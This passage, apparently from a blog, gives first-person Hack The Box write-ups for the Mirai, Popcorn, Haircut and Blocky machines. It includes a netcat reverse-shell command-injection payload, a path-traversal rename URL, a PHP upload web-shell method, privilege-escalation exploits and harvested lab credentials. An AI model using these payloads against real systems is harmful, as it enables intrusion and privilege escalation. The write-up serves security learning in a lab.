pty.spawn(&amp;#34;sh&amp;#34;)&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Write it to /tmp/2.py and run it to get a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The standard privilege-escalation checks didn&amp;rsquo;t seem to lead anywhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at pspy32, I didn&amp;rsquo;t see any scheduled tasks. There were only two files running under /root, but I had no permission to inspect them.&lt;/p&gt;&#10;&lt;p&gt;Just upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The information above is what I collected. The final privilege-escalation path is obviously here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a method, although it was a bit awkward to use. This article explains it well, and I eventually escalated privileges successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/14781471.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/14781471.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I learned quite a lot from this one, but unlike the previous boxes, I never got completely stuck; every step was solvable.&lt;/p&gt;&#10;&lt;p&gt;Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This step used UNION injection and the same method that writes a shell.&lt;/p&gt;&#10;&lt;p&gt;The rest of my approach was mostly fine.&lt;/p&gt;&#10;&lt;h2 id="13mirai"&gt;&lt;a href="#13mirai" class="header-anchor"&gt;&lt;/a&gt;13.Mirai&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;Port 53 had no domain name, so it couldn&amp;rsquo;t be resolved.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had an admin page, a version page, and a short message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Filter out responses of length 61 and continue directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find an exploitable vulnerability. The usable ones all required logging in and obtaining a session. Usually you brute-force while also looking for default credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on version either. The default credentials are username pi, password raspberry.&lt;/p&gt;&#10;&lt;p&gt;Leave that for now and continue.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing. The only ideas left were SSH and Plex, but Plex was inaccessible. Let&amp;rsquo;s brute-force directories first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, it wasn&amp;rsquo;t that simple.&lt;/p&gt;&#10;&lt;p&gt;I researched this afterward and started testing based on my own reasoning, since I had never learned about this before.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time doing it the wrong way, and nothing worked.&lt;/p&gt;&#10;&lt;p&gt;Eventually I had to read a write-up, where I learned one crucial point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First: df -h&#9;mount&#9;lsblk&lt;/p&gt;&#10;&lt;p&gt;All three commands show which device is mounted. According to the author&amp;rsquo;s explanation, deleting something after mounting it doesn&amp;rsquo;t mean it has also been erased from the original device.&lt;/p&gt;&#10;&lt;p&gt;Only this article explained it clearly:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0xdf.gitlab.io/2022/05/18/htb-mirai.html" target="_blank" rel="noopener"&#10; &gt;https://0xdf.gitlab.io/2022/05/18/htb-mirai.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;In other words, deletion doesn&amp;rsquo;t thoroughly erase the data; it only removes the file system&amp;rsquo;s directory structure. The data is overwritten when new data is written there. Apparently all disks work this way.&lt;/p&gt;&#10;&lt;p&gt;cat, grep, and strings all work because they can all inspect the data in the file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;grep -aPo &amp;lsquo;[a-zA-Z0-9]{32}&amp;rsquo; /dev/sdb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. This box broadened my knowledge, and its approach was quite different from the earlier ones. I learned something new.&lt;/p&gt;&#10;&lt;h2 id="14popcorn"&gt;&lt;a href="#14popcorn" class="header-anchor"&gt;&lt;/a&gt;14.Popcorn&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 requires a private key.&lt;/p&gt;&#10;&lt;p&gt;Port 80 has something on it.&lt;/p&gt;&#10;&lt;p&gt;This was originally test.php. Directory brute-forcing reveals it; I renamed it during testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering grants access to this page, where files can be uploaded. It doesn&amp;rsquo;t seem to restrict file extensions. The only unclear part was where uploaded files went.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an n-day, but according to its description the file should have been under the torrents directory. In reality, it wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;I had a good idea here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Rename it to txt, download it, and audit the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;Finally, I read the PHP files I had found:&lt;/p&gt;&#10;&lt;p&gt;torrents.php&lt;/p&gt;&#10;&lt;p&gt;upload.php&lt;/p&gt;&#10;&lt;p&gt;config.php&lt;/p&gt;&#10;&lt;p&gt;To get straight to the point, after reading them I found that the naming scheme takes the current torrent file&amp;rsquo;s SHA-1 value and appends .btf to form the filename.&lt;/p&gt;&#10;&lt;p&gt;The files are stored at &lt;a class="link" href="http://popcorn.htb/torrent/torrents/" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Therefore, the path of the bundled Kali image was &lt;a class="link" href="http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While reading the code, I encountered something new to me: obtaining a torrent file&amp;rsquo;s SHA-1 value in PHP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is how it is extracted, and from the subsequent code:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything became obvious. Upload something whose SHA-1 differs from the previous value—download anything from Baidu—add PHP code to it, upload it, and use rename on that filename to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Give it any name and upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got it here as well. Now download it and find its hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem at all. Just rename it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Access it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error, but at least it could be parsed. The problem was on my side, so I tried again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another file fixed it.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This came from config.php. I had actually read it earlier, but I&amp;rsquo;ll record it again.&lt;/p&gt;&#10;&lt;p&gt;There is a th_database.sql file under /var/www/torrent/database. Let&amp;rsquo;s transfer it locally and inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;admin/admin12&lt;/p&gt;&#10;&lt;p&gt;torrent/SuperSecret!!&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;The home directory contained the torrenthoster.zip source code.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to check them one by one.&lt;/p&gt;&#10;&lt;p&gt;mysqld_safe wasn&amp;rsquo;t in a scheduled task and had no SUID bit.&lt;/p&gt;&#10;&lt;p&gt;The second item suggested that we could run sudo without a password, but it kept asking me for one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no permission for the third item.&lt;/p&gt;&#10;&lt;p&gt;pspy32 didn&amp;rsquo;t show any other processes running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had checked almost everything and found nothing exploitable. The only thing left was torrenthoster.zip in George&amp;rsquo;s directory.&lt;/p&gt;&#10;&lt;p&gt;I downloaded and inspected it, but it had nothing either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck. All I knew was that it claimed sudo needed no password, yet it required one whenever I used it.&lt;/p&gt;&#10;&lt;p&gt;The only option left was searchsploit. I found several scripts and uploaded them one by one to scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The others wouldn&amp;rsquo;t run, but this one looked interesting. It found everything and merely told us the password was wrong. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After reading it, I realized it meant exactly what it said: just enter toor.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation succeeded. This box was moderately difficult and broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;Done. Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation method was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After looking at this script, I can only say my search method still needs work. I shouldn&amp;rsquo;t always include ubuntu; searching for the kernel can uncover other things too.&lt;/p&gt;&#10;&lt;p&gt;I also only just remembered this was Dirty COW, one of the most classic privilege-escalation exploits.&lt;/p&gt;&#10;&lt;p&gt;As for the exploit I used, they found it based on .cache/motd.legal-displayed, while I searched directly by the Ubuntu version.&lt;/p&gt;&#10;&lt;p&gt;My methodology wasn&amp;rsquo;t complete; I just got lucky. Everything else was much the same. That&amp;rsquo;s the end.&lt;/p&gt;&#10;&lt;h2 id="15haircut"&gt;&lt;a href="#15haircut" class="header-anchor"&gt;&lt;/a&gt;15.Haircut&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll stick to the key points again. There were three sites and an uploads directory.&lt;/p&gt;&#10;&lt;p&gt;The three sites contained three images and nothing else. I checked every image and found nothing.&lt;/p&gt;&#10;&lt;p&gt;uploads403&lt;/p&gt;&#10;&lt;p&gt;exposed.php had an obvious command-injection vulnerability, since I had encountered it on a previous box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was $ command injection again. Many things were blocked, but netcat wasn&amp;rsquo;t. A connection attempt produced output, so I started building a reverse-shell payload.&lt;/p&gt;&#10;&lt;p&gt;[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)&lt;/p&gt;&#10;&lt;p&gt;That pops a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can feel myself getting increasingly comfortable with these boxes.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;First spawn a TTY: python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The user.txt in Maria&amp;rsquo;s directory differed from the one on the Desktop.&lt;/p&gt;&#10;&lt;p&gt;0b0da2af50e9ab7c81a6ec2c562afeae&lt;/p&gt;&#10;&lt;p&gt;152294df041b51863cc9c7b5a52938f2&#9;# This is the one Hack The Box accepts&lt;/p&gt;&#10;&lt;p&gt;I ran LinEnum. It reported the kernel version, and I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box was fairly conventional; it only took me 50 minutes.&lt;/p&gt;&#10;&lt;p&gt;Still, I needed to read a write-up to learn other approaches. They found Screen 4.5.0 through SUID enumeration and escalated privileges with an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;Their foothold method was to access an HTTP server they controlled and use -o to write the output to a PHP file. I barely found anyone using the same approach as mine.&lt;/p&gt;&#10;&lt;p&gt;Screen 4.5.0 is actually interesting, so I&amp;rsquo;ll give it a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even without the earlier privilege escalation, this file would have caught my attention. A normal system doesn&amp;rsquo;t include it, and it even displays a version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The error only says a file is missing.&lt;/p&gt;&#10;&lt;p&gt;It still failed. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It isn&amp;rsquo;t hard to understand. Compile it myself and then try it on the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a warning, not an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Again, only a warning. The -static option is mainly added because GCC versions differ and other systems may otherwise produce errors.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to the target and run the commands one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;As expected, it still failed.&lt;/del&gt; After analyzing the code, I realized that I did not understand the vulnerability used by libhax—the low-level details are still a bit beyond me. The exploit changes rootshell&amp;rsquo;s owner to root and sets its permissions to 755, so running rootshell gives us root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;It now looked like the problem had always been with libhax, so I investigated it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;There was actually no problem. I had mistyped the name: I used libhex.so instead of libhax.so. After correcting it, everything ran normally.&lt;/p&gt;&#10;&lt;p&gt;Following the commands successfully gave me root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s everything.&lt;/p&gt;&#10;&lt;h2 id="16blocky"&gt;&lt;a href="#16blocky" class="header-anchor"&gt;&lt;/a&gt;16.Blocky&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the conclusion again.&lt;/p&gt;&#10;&lt;p&gt;There was no vulnerability on port 21. Version 1.3.5 has an exploit that allows unauthenticated file moves, but after trying three exploits and manually testing and reading the code, I found that this target wasn&amp;rsquo;t vulnerable at all.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 hosted WordPress. I tested WordPress for a long time without success. It also had phpMyAdmin 4.5.4.1, but there were no relevant vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;WordPress had two users, though that wasn&amp;rsquo;t important.&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;That left directory brute-forcing, and sure enough it found something. Minecraft is compiled with Java, and I found two JAR files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I reversed them directly. I had expected to need a Java code audit, but I didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These credentials let me log in to phpMyAdmin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0320.zh.webp" alt="" 